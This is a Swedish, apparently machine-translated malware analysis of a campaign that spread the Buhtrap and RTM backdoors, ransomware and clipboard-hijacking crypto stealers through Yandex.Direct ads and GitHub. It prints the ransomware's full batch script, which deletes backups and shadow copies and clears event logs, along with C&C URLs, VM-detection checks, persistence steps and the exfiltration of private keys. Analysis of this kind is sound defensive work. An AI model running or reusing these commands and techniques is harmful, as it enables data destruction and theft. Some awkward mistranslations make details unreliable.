Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct

För att rikta in sig på revisorer i en cyberattack kan du använda arbetsdokument de söker efter online. Detta är ungefär vad en cybergrupp har gjort under de senaste månaderna och distribuerat kända bakdörrar. Buhtrap и RTM, samt krypteringar och programvara för att stjäla kryptovalutor. De flesta målen finns i Ryssland. Attacken utfördes genom att placera skadlig reklam på Yandex.Direct. Potentiella offer hänvisades till en webbplats där de ombads ladda ner en skadlig fil förklädd som en dokumentmall. Yandex tog bort den skadliga reklam efter vår varning.

Buhtraps källkod har läckt ut online tidigare så vem som helst kan använda den. Vi har ingen information om RTM-kodens tillgänglighet.

I det här inlägget kommer vi att berätta hur angriparna distribuerade skadlig programvara med Yandex.Direct och var värd för den på GitHub. Inlägget avslutas med en teknisk analys av skadlig programvara.

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct

Buhtrap och RTM är tillbaka i verksamheten

Mekanism för spridning och offer

De olika nyttolaster som levereras till offren delar en gemensam spridningsmekanism. Alla skadliga filer skapade av angriparna placerades i två olika GitHub-förråd.

Vanligtvis innehöll förvaret en nedladdningsbar skadlig fil, som ändrades ofta. Eftersom GitHub låter dig se historiken för ändringar av ett arkiv, kan vi se vilken skadlig programvara som distribuerades under en viss period. För att övertyga offret att ladda ner den skadliga filen användes webbplatsen blanki-shabloni24[.]ru, som visas i figuren ovan.

Utformningen av webbplatsen och alla namn på de skadliga filerna följer ett enda koncept - formulär, mallar, kontrakt, prover, etc. Med tanke på att Buhtrap och RTM-programvaran redan har använts i attacker mot revisorer tidigare, antog vi att strategin i den nya kampanjen är densamma. Frågan är bara hur offret kom till angriparnas webbplats.

infektion

Åtminstone flera potentiella offer som hamnade på den här webbplatsen lockades av skadlig reklam. Nedan är ett exempel på URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Som du kan se på länken så lades bannern upp på det legitima redovisningsforumet bb.f2[.]kz. Det är viktigt att notera att banners dök upp på olika webbplatser, alla hade samma kampanj-id (blanki_rsya), och de flesta relaterade till redovisning eller juridiska tjänster. Webbadressen visar att det potentiella offret använde begäran om att ladda ner fakturaformuläret, vilket stöder vår hypotes om riktade attacker. Nedan finns de webbplatser där banners dök upp och motsvarande sökfrågor.

  • ladda ner fakturaformulär – bb.f2[.]kz
  • provkontrakt - Ipopen[.]ru
  • ansökan klagomål prov - 77metrov[.]ru
  • avtalsformulär - blank-dogovor-kupli-prodazhi[.]ru
  • exempel på domstolsansökan - zen.yandex[.]ru
  • provklagomål - yurday[.]ru
  • exempel på avtalsformulär – Regforum[.]ru
  • kontraktsform – assistentus[.]ru
  • exempel på lägenhetsavtal – napravah[.]com
  • prover av juridiska kontrakt - avito[.]ru

Webbplatsen blanki-shabloni24[.]ru kan ha konfigurerats för att klara en enkel visuell bedömning. Vanligtvis verkar en annons som pekar på en webbplats med ett professionellt utseende med en länk till GitHub inte vara något uppenbart dåligt. Dessutom laddade angriparna upp skadliga filer till förvaret endast under en begränsad period, troligen under kampanjen. För det mesta innehöll GitHub-förvaret ett tomt zip-arkiv eller en tom EXE-fil. Således kunde angripare distribuera reklam via Yandex.Direct på webbplatser som med största sannolikhet besöktes av revisorer som kom som svar på specifika sökfrågor.

Låt oss sedan titta på de olika nyttolasterna fördelade på detta sätt.

Nyttolastanalys

Kronologi för distribution

Den skadliga kampanjen började i slutet av oktober 2018 och är aktiv i skrivande stund. Eftersom hela förvaret var allmänt tillgängligt på GitHub, sammanställde vi en exakt tidslinje för distributionen av sex olika skadlig programvara (se figur nedan). Vi har lagt till en rad som visar när bannerlänken upptäcktes, mätt med ESET-telemetri, för jämförelse med git-historik. Som du kan se korrelerar detta bra med tillgängligheten för nyttolasten på GitHub. Avvikelsen i slutet av februari kan förklaras av att vi inte hade en del av ändringshistoriken eftersom förvaret togs bort från GitHub innan vi kunde få det i sin helhet.

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct
Figur 1. Kronologi för distribution av skadlig programvara.

Certifikat för kodsignering

Kampanjen använde flera certifikat. Vissa signerades av mer än en skadlig programvara, vilket ytterligare indikerar att olika prover tillhörde samma kampanj. Trots tillgången till den privata nyckeln signerade operatörerna inte systematiskt binärerna och använde inte nyckeln för alla prover. I slutet av februari 2019 började angripare skapa ogiltiga signaturer med ett Google-ägt certifikat som de inte hade den privata nyckeln för.

Alla certifikat som är involverade i kampanjen och de skadliga programfamiljerna som de signerar listas i tabellen nedan.

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct

Vi har också använt dessa kodsigneringscertifikat för att upprätta kopplingar till andra skadliga programfamiljer. För de flesta certifikat hittade vi inga prover som inte distribuerades genom ett GitHub-förråd. Däremot användes TOV "MARIYA"-certifikatet för att signera skadlig programvara som tillhör botnätet Wauchos, reklamprogram och gruvarbetare. Det är osannolikt att denna skadliga programvara är relaterad till den här kampanjen. Troligtvis köptes certifikatet på darknet.

Win32/Filecoder.Buhtrap

Den första komponenten som fångade vår uppmärksamhet var den nyupptäckta Win32/Filecoder.Buhtrap. Detta är en Delphi binär fil som ibland paketeras. Den distribuerades huvudsakligen i februari–mars 2019. Det beter sig som det anstår ett ransomware-program – det söker igenom lokala enheter och nätverksmappar och krypterar de upptäckta filerna. Den behöver ingen internetanslutning för att äventyras eftersom den inte kontaktar servern för att skicka krypteringsnycklar. Istället lägger den till en "token" i slutet av lösenmeddelandet och föreslår att du använder e-post eller Bitmessage för att kontakta operatörer.

För att kryptera så många känsliga resurser som möjligt, kör Filecoder.Buhtrap en tråd utformad för att stänga av nyckelprogramvara som kan ha öppna filhanterare som innehåller värdefull information som kan störa kryptering. Målprocesserna är huvudsakligen databashanteringssystem (DBMS). Dessutom tar Filecoder.Buhtrap bort loggfiler och säkerhetskopior för att göra dataåterställning svår. För att göra detta, kör batchskriptet nedan.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap använder en legitim online IP Logger-tjänst utformad för att samla in information om webbplatsbesökare. Detta är avsett att spåra offer för ransomware, som är kommandoradens ansvar:

mshta.exe "javascript:document.write('');"

Filer för kryptering väljs om de inte matchar tre undantagslistor. För det första är filer med följande tillägg inte krypterade: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys och .fladdermus. För det andra exkluderas alla filer för vilka den fullständiga sökvägen innehåller katalogsträngar från listan nedan.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

För det tredje är vissa filnamn också undantagna från kryptering, bland dem filnamnet på lösenmeddelandet. Listan presenteras nedan. Uppenbarligen är alla dessa undantag avsedda att hålla maskinen igång, men med minimal trafiksäkerhet.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Filkrypteringsschema

När skadlig programvara har körts genererar den ett 512-bitars RSA-nyckelpar. Den privata exponenten (d) och modulen (n) krypteras sedan med en hårdkodad 2048-bitars publik nyckel (publik exponent och modul), zlib-packad och base64-kodad. Koden som ansvarar för detta visas i figur 2.

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct
Figur 2. Resultat av Hex-Rays-dekompilering av 512-bitars RSA-nyckelpargenereringsprocessen.

Nedan är ett exempel på vanlig text med en genererad privat nyckel, som är en token bifogad till lösenmeddelandet.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

Angriparnas publika nyckel anges nedan.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Filerna krypteras med AES-128-CBC med en 256-bitars nyckel. För varje krypterad fil genereras en ny nyckel och en ny initialiseringsvektor. Nyckelinformationen läggs till i slutet av den krypterade filen. Låt oss överväga formatet på den krypterade filen.
Krypterade filer har följande rubrik:

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct

Källfilens data med tillägg av det magiska VEGA-värdet krypteras till de första 0x5000 byten. All dekrypteringsinformation bifogas en fil med följande struktur:

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct

- Filstorleksmarkören innehåller en markering som anger om filen är större än 0x5000 byte stor
— AES-nyckelblob = ZlibCompress(RSAEncrypt(AES-nyckel + IV, offentlig nyckel för det genererade RSA-nyckelparet))
- RSA-nyckel blob = ZlibCompress(RSAEncrypt(genererad RSA privat nyckel, hårdkodad RSA offentlig nyckel))

Win32/ClipBanker

Win32/ClipBanker är en komponent som distribuerades intermittent från slutet av oktober till början av december 2018. Dess roll är att övervaka innehållet i urklipp, det letar efter adresser till kryptovaluta plånböcker. Efter att ha bestämt målplånboksadressen ersätter ClipBanker den med en adress som tros tillhöra operatörerna. Proverna vi undersökte var varken förpackade eller obfuskerade. Den enda mekanism som används för att maskera beteende är strängkryptering. Operatörsplånboksadresser krypteras med RC4. Målkryptovalutor är Bitcoin, Bitcoin cash, Dogecoin, Ethereum och Ripple.

Under perioden som skadlig programvara spreds till angriparnas Bitcoin-plånböcker skickades en liten summa till VTS, vilket ställer tvivel om kampanjens framgång. Dessutom finns det inga bevis som tyder på att dessa transaktioner överhuvudtaget var relaterade till ClipBanker.

Win32/RTM

Win32/RTM-komponenten distribuerades i flera dagar i början av mars 2019. RTM är en trojansk bankir skriven i Delphi, inriktad på fjärrbanksystem. Under 2017 publicerade ESET-forskare detaljerad analys av detta program är beskrivningen fortfarande relevant. I januari 2019 släppte Palo Alto Networks också blogginlägg om RTM.

Buhtrap Loader

Under en tid fanns en nedladdare tillgänglig på GitHub som inte liknade tidigare Buhtrap-verktyg. Han vänder sig till https://94.100.18[.]67/RSS.php?<some_id> för att få nästa steg och laddar det direkt i minnet. Vi kan särskilja två beteenden hos andrastegskoden. I den första URL:en passerade RSS.php Buhtrap-bakdörren direkt - denna bakdörr är mycket lik den som var tillgänglig efter att källkoden läckte.

Intressant nog ser vi flera kampanjer med Buhtraps bakdörr, och de påstås drivs av olika operatörer. I det här fallet är den största skillnaden att bakdörren laddas direkt i minnet och inte använder det vanliga schemat med DLL-distributionsprocessen som vi pratade om före. Dessutom ändrade operatörerna RC4-nyckeln som användes för att kryptera nätverkstrafik till C&C-servern. I de flesta av de kampanjer vi har sett brydde sig operatörerna inte om att ändra den här nyckeln.

Det andra, mer komplexa beteendet var att RSS.php URL skickades till en annan laddare. Den implementerade viss förvirring, som att bygga om den dynamiska importtabellen. Syftet med bootloadern är att kontakta C&C-servern msiofficeupd[.]com/api/F27F84EDA4D13B15/2, skicka loggarna och vänta på svar. Den bearbetar svaret som en blob, laddar det i minnet och exekverar det. Nyttolasten vi såg när den här lastaren kördes var samma Buhtrap-bakdörr, men det kan finnas andra komponenter.

Android/Spy.Banker

Intressant nog hittades också en komponent för Android i GitHub-förvaret. Han var i huvudgrenen bara en dag - 1 november 2018. Förutom att postas på GitHub, hittar ESET telemetri inga bevis på att denna skadliga programvara har distribuerats.

Komponenten var värd som ett Android Application Package (APK). Det är kraftigt obfuscerat. Det skadliga beteendet är dolt i en krypterad JAR som finns i APK:n. Den är krypterad med RC4 med denna nyckel:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

Samma nyckel och algoritm används för att kryptera strängar. JAR ligger i APK_ROOT + image/files. De första 4 byten av filen innehåller längden på den krypterade JAR, som börjar omedelbart efter längdfältet.

Efter att ha dekrypterat filen upptäckte vi att det var Anubis - tidigare dokumenterat bankir för Android. Skadlig programvara har följande funktioner:

  • mikrofoninspelning
  • ta skärmdumpar
  • få GPS-koordinater
  • keylogger
  • enhetsdatakryptering och krav på lösen
  • skräppost

Intressant nog använde banken Twitter som en backup-kommunikationskanal för att skaffa en annan C&C-server. Provet vi analyserade använde @JonesTrader-kontot, men vid analystillfället var det redan blockerat.

Bankmannen innehåller en lista över målapplikationer på Android-enheten. Den är längre än listan som erhölls i Sophos-studien. Listan innehåller många bankapplikationer, online shoppingprogram som Amazon och eBay, och kryptovalutatjänster.

MSIL/ClipBanker.IH

Den sista komponenten som distribuerades som en del av denna kampanj var .NET Windows körbara fil, som dök upp i mars 2019. De flesta av de studerade versionerna var paketerade med ConfuserEx v1.0.0. Liksom ClipBanker använder den här komponenten urklipp. Hans mål är ett brett utbud av kryptovalutor, samt erbjudanden på Steam. Dessutom använder han IP Logger-tjänsten för att stjäla Bitcoins privata WIF-nyckel.

Skyddsmekanismer
Förutom fördelarna som ConfuserEx ger för att förhindra felsökning, dumpning och manipulering, inkluderar komponenten möjligheten att upptäcka antivirusprodukter och virtuella maskiner.

För att verifiera att den körs i en virtuell maskin använder den skadliga programvaran den inbyggda Windows WMI-kommandoraden (WMIC) för att begära BIOS-information, nämligen:

wmic bios

Sedan analyserar programmet kommandot och letar efter nyckelord: VBOX, VirtualBox, XEN, qemu, bochs, VM.

För att upptäcka antivirusprodukter skickar skadlig programvara en Windows Management Instrumentation-förfrågan (WMI) till Windows Security Center med hjälp av ManagementObjectSearcher API som visas nedan. Efter avkodning från base64 ser samtalet ut så här:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct
Figur 3. Process för att identifiera antivirusprodukter.

Dessutom kontrollerar skadlig programvara om CryptoClipWatcher, ett verktyg för att skydda mot urklippsattacker och, om det körs, avbryter alla trådar i den processen, vilket inaktiverar skyddet.

Uthållighet

Den version av skadlig programvara vi studerade kopierar sig själv till %APPDATA%googleupdater.exe och ställer in attributet "dold" för Google-katalogen. Sedan ändrar hon värdet SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell i Windows-registret och lägger till sökvägen updater.exe. På så sätt kommer skadlig programvara att exekveras varje gång användaren loggar in.

Skadligt beteende

Liksom ClipBanker övervakar skadlig programvara innehållet i urklippet och letar efter adresser för kryptovaluta-plånbok, och när den hittas, ersätter den med en av operatörens adresser. Nedan finns en lista över måladresser baserat på vad som finns i koden.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

För varje typ av adress finns ett motsvarande reguljärt uttryck. STEAM_URL-värdet används för att attackera Steam-systemet, vilket kan ses från det reguljära uttrycket som används för att definiera i bufferten:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

Exfiltrationskanal

Förutom att ersätta adresser i bufferten, riktar den skadliga programvaran sig mot de privata WIF-nycklarna till Bitcoin, Bitcoin Core och Electrum Bitcoin-plånböcker. Programmet använder plogger.org som en exfiltreringskanal för att erhålla den privata WIF-nyckeln. För att göra detta lägger operatörer till privat nyckeldata till User-Agent HTTP-huvudet, som visas nedan.

Bakdörren och Buhtrap-krypteringen distribuerades med Yandex.Direct
Figur 4. IP Logger-konsol med utdata.

Operatörer använde inte iplogger.org för att exfiltrera plånböcker. De använde förmodligen en annan metod på grund av begränsningen på 255 tecken i fältet User-Agentvisas i IP Loggers webbgränssnitt. I proverna vi studerade lagrades den andra utdataservern i miljövariabeln DiscordWebHook. Överraskande nog är denna miljövariabel inte tilldelad någonstans i koden. Detta tyder på att skadlig programvara fortfarande är under utveckling och variabeln tilldelas operatörens testmaskin.

Det finns ytterligare ett tecken på att programmet är under utveckling. Den binära filen innehåller två iplogger.org-URL:er, och båda efterfrågas när data exfiltreras. I en begäran till en av dessa webbadresser föregås värdet i referensfältet av "DEV /". Vi hittade också en version som inte paketerades med ConfuserEx, mottagaren för denna URL heter DevFeedbackUrl. Baserat på miljövariabelns namn tror vi att operatörerna planerar att använda den legitima tjänsten Discord och dess webbavlyssningssystem för att stjäla kryptovaluta plånböcker.

Slutsats

Denna kampanj är ett exempel på användningen av legitima reklamtjänster vid cyberattacker. Planen riktar sig till ryska organisationer, men vi skulle inte bli förvånade över att se en sådan attack med hjälp av icke-ryska tjänster. För att undvika kompromisser måste användarna vara säkra på ryktet om källan till programvaran de laddar ner.

En komplett lista över indikatorer för kompromiss och MITER ATT&CK-attribut finns tillgänglig på länk.

Källa: will.com

Lägg en kommentar